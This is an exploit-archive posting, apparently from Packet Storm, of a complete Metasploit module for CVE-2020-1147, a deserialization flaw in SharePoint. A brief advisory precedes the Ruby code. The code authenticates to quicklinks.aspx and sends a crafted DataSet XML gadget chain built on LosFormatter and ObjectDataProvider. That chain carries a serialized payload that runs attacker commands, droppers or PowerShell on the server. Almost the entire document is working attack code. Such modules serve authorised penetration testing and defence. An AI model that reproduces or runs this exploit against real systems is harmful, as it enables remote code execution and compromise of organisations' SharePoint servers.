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SharePoint DataSet / DataTable Deserialization

SharePoint DataSet / DataTable Deserialization
Posted Jul 31, 2020
Authored by Soroush Dalili, mr_me, Spencer McIntyre | Site metasploit.com

A remotely exploitable vulnerability exists within SharePoint that can be leveraged by a remote authenticated attacker to execute code within the context of the SharePoint application service. The privileges in this execution context are determined by the account that is specified when SharePoint is installed and configured. The vulnerability is related to a failure to validate the source of XML input data, leading to an unsafe deserialization operation that can be triggered from a page that initializes either the ContactLinksSuggestionsMicroView type or a derivative of it. In a default configuration, a Domain User account is sufficient to access SharePoint and exploit this vulnerability.

tags | exploit, remote
advisories | CVE-2020-1147
SHA-256 | 34f2633fdb04b0ab14dd5a0aedaf3e5d3b9e387d4d8619fbdd31dabb809602b6

SharePoint DataSet / DataTable Deserialization

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# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework

class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Exploit::Powershell
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'SharePoint DataSet / DataTable Deserialization',
'Description' => %q{
A remotely exploitable vulnerability exists within SharePoint that can be leveraged by a remote authenticated
attacker to execute code within the context of the SharePoint application service. The privileges in this
execution context are determined by the account that is specified when SharePoint is installed and configured.
The vulnerability is related to a failure to validate the source of XML input data, leading to an unsafe
deserialization operation that can be triggered from a page that initializes either the
ContactLinksSuggestionsMicroView type or a derivative of it. In a default configuration, a Domain User account
is sufficient to access SharePoint and exploit this vulnerability.
},
'Author' => [
'Steven Seeley', # detailed vulnerability write up and the DataSet gadget
'Soroush Dalili', # usable endpoint testing and confirmation
'Spencer McIntyre' # this metasploit module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2020-1147'],
['URL', 'https://srcincite.io/blog/2020/07/20/sharepoint-and-pwn-remote-code-execution-against-sharepoint-server-abusing-dataset.html']
],
'Platform' => 'win',
'Targets' => [
[
'Windows EXE Dropper',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :windows_dropper
],
[
'Windows Command',
'Arch' => ARCH_CMD,
'Type' => :windows_command,
'Space' => 7500
],
[
'Windows Powershell',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :windows_powershell
]
],
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true
},
'DefaultTarget' => 0,
'DisclosureDate' => '2020-07-14',
'Notes' =>
{
'Stability' => [CRASH_SAFE],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
'Reliability' => [REPEATABLE_SESSION]
},
'Privileged' => true
)
)

register_options([
OptString.new('TARGETURI', [ true, 'The base path to the SharePoint application', '/' ]),
OptString.new('DOMAIN', [ true, 'The domain to use for Windows authentication', 'WORKGROUP' ]),
OptString.new('USERNAME', [ true, 'Username to authenticate as', '' ]),
OptString.new('PASSWORD', [ true, 'The password to authenticate with', '' ])
])
end

def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '_layouts', '15', 'quicklinks.aspx'),
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD'],
'vars_get' => {
'Mode' => 'Suggestion'
}
})

return CheckCode::Unknown('Failed to authenticate to the server.') if res&.code == 401
return CheckCode::Safe('Failed to identify that SharePoint is running.') unless res&.code == 200 && res.headers['MicrosoftSharePointTeamServices']

html = res.get_html_document
return CheckCode::Safe if html.xpath('//html/body/form[@action]').select do |node|
node['action'] =~ /quicklinks.aspx\?Mode=Suggestion/i
end.empty?

CheckCode::Detected('Received the quicklinks HTML form.')
end

def exploit
case target['Type']
when :windows_command
execute_command(payload.encoded)
when :windows_dropper
cmd_target = targets.select { |target| target['Type'] == :windows_command }.first
execute_cmdstager({ linemax: cmd_target.opts['Space'] })
when :windows_powershell
execute_command(cmd_psh_payload(payload.encoded, payload.arch.first, remove_comspec: true))
end
end

def execute_command(cmd, _opts = {})
serialized = Rex::Text.encode_base64(::Msf::Util::DotNetDeserialization.generate(
cmd,
gadget_chain: :TextFormattingRunProperties,
formatter: :LosFormatter
))

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '_layouts', '15', 'quicklinks.aspx'),
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD'],
'vars_get' => {
'Mode' => 'Suggestion'
},
'vars_post' => {
'__viewstate' => '',
'__SUGGESTIONSCACHE__' => Nokogiri::XML(<<-DATASET, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root.to_xml(indent: 0, save_with: 0)
<DataSet>
<xs:schema xmlns="" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" id="somedataset">
<xs:element name="somedataset" msdata:IsDataSet="true" msdata:UseCurrentLocale="true">
<xs:complexType>
<xs:choice minOccurs="0" maxOccurs="unbounded">
<xs:element name="Exp_x0020_Table">
<xs:complexType>
<xs:sequence>
<xs:element name="pwn" msdata:DataType="System.Data.Services.Internal.ExpandedWrapper`2[[System.Web.UI.LosFormatter, System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" type="xs:anyType" minOccurs="0"/>
</xs:sequence>
</xs:complexType>
</xs:element>
</xs:choice>
</xs:complexType>
</xs:element>
</xs:schema>
<diffgr:diffgram xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" xmlns:diffgr="urn:schemas-microsoft-com:xml-diffgram-v1">
<somedataset>
<Exp_x0020_Table diffgr:id="Exp Table1" msdata:rowOrder="0" diffgr:hasChanges="inserted">
<pwn xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<ExpandedElement/>
<ProjectedProperty0>
<MethodName>Deserialize</MethodName>
<MethodParameters>
<anyType xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xsi:type="xsd:string">#{serialized}</anyType>
</MethodParameters>
<ObjectInstance xsi:type="LosFormatter"></ObjectInstance>
</ProjectedProperty0>
</pwn>
</Exp_x0020_Table>
</somedataset>
</diffgr:diffgram>
</DataSet>
DATASET
}
})

unless res&.code == 200
fail_with(Failure::UnexpectedReply, 'Non-200 HTTP response received while trying to execute the command')
end

res
end
end
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